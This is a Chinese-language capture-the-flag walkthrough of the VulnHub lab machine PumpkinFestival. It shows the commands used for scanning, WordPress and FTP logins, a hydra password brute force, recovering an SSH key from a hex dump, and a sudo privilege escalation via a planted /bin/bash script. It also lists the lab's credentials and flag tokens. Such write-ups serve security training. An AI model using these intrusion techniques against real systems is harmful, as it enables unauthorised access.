PumpkinFestival靶机

信息收集：

靶机地址：https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkinfestival,329/

（1）ip扫描

nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:3E:67:79'

（2）端口扫描

nmap 192.168.254.150 -p- -A 

（3）目录扫描

dirb http://192.168.254.150

（4）访问80端口，提到用户 harry ，看到 Alohomora! ，好像是个人名，或许可以作为账号或密码，留存

（5）这里没什么发现，f12查看源码，得到一串 token 值

45d9ee7239bc6b0bb21d3f8e1c5faa52

（6）访问robots.txt

（7）访问tokens时，权限被拒绝，可能存在文件，尝试访问token.txt，得到第二个 token

2c0e11d2200e2604587c331f02a7ebea

（8）依次拼接访问，访问 /store/track.txt 时，得到一串值和一个邮箱

Tracking code : 2542 8231 6783 486
admin@pumpkins.local

（9）看到 local ，可能需要绑定hosts，在 hosts 中写入

192.168.254.150 pumpkins.local

（10）访问 pumpkins.local，发现第三个 token

06c3eb12ef2389e2752335beccfb2080

（11）dirb目录扫描，看到有 wordpress (kali中/etc/hosts也需要配置一下)

dirb http://pumpkins.local/

（12）wpscan扫描一下,发现两个用户

wpscan --url http://pumpkins.local -e at -e ap -e u

admin
morse

（13）发现一个 readme.html 文件，访问一下，发现一串字符

http://pumpkins.local/readme.html

K82v0SuvV1En350M0uxiXVRTmBrQIJQN78s

（14）试了试，是base62编码，解码后得到 用户morse 和 jack 和一个密码

morse & jack : Ug0t!TrIpyJ

（15）访问 wp-admin，登录，morse 用户成功登录

http://pumpkins.local/wp-admin
morse:Ug0t!TrIpyJ

（16）在 profile 下发现第四个token

7139e925fd43618653e51f820bc6201b

（17）之前 wpscan 扫描时，扫描到一个admin用户，尝试登录失败，密码，试试之前80端口看到的 Alohomora! ，登录成功，发现第五个token

admin:Alohomora!

f2e00edc353309b40e1aed18e18ab2c4

（18）ftp 尝试匿名登录，登录成功

ftp 192.168.254.150
anonymous

（19）在 secret 下发现 token.txt ，下载下来，查看文件，得到第六个 token

get token.txt
cat token.txt

2d6dbbae84d724409606eddd9dd71265

（20）目前还剩 harry 用户密码没有获取，尝试破解，使用 hydra 工具，得到密码 yrrah

hydra -l harry -P /usr/share/wordlists/rockyou.txt 192.168.254.150 ftp -e nsr

harry:yrrah

（21）登录 ftp ，发现 token.txt

ftp 192.168.254.150
harry:yrrah

（22）将文件下载下来查看，得到第七个 token

get token.txt
cat token.txt

ba9fa9abf2be9373b7cbd9a6457f374e

（23）目录 Donotopen 中，一通遍历，发现 token.txt，下载查看，得到第八个 token

get token.txt
cat token.txt

f9c5053d01e0dfc30066476ab0f0564c

getshell：

（1）还有个 NOOOOO 目录，进入后，再次进入 NOOOOOO 目录，发现一个 data.txt，下载查看，发现是乱码

（2）查看文件类型，是一个 tar 压缩包

file data.txt

（3）解压，最后 jack 为十六进制文件

tar vxf data.txt
tar xjf data
tar vxf key
cat jack

（4）使用 xxd 将 hexdump 转换，得到一个私钥

sudo apt-get update 
sudo apt-get install xxd 

更新不成功记得换源
sudo vim /etc/apt/sources.list

用#把默认官方源注释掉，再加上中科大的的url：
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

具体请看
https://blog.csdn.net/weixin_46136890/article/details/124910871

xxd -r -p jack

（5）复制内容至 aaa，赋予权限后，进行 ssh 连接，连接成功

chmod 600 aaa
ssh -i aaa jack@192.168.254.150 -p 6880

提权：

（1）查看当前目录，发现一个 token，查看为乱码

（2）查看文件类型

file token

（3）执行命令，得到第九个token

./token

8d66ef0055b43d80c34917ec6c75f706

（4）查看当前用户权限，密码 Ug0t!TrIpyJ

sudo -l
Ug0t!TrIpyJ

（5）pumpkins 目录下 alohomora 文件有root权限，创建 pumpkins 目录并创建 alohomora 文件，赋予权限并写入 /bin/bash，sudo执行，提权成功

mkdir pumpkins
cd pumpkins
vi alohomora
/bin/bash

chmod 777 alohomora
sudo ./alohomora

（6）切换到 /root 目录下，发现最后的文件

（7）看文章发现还漏一个，在 license.txt 中

http://pumpkins.local/license.txt

5ff346114d634a015ce413e1bc3d8d71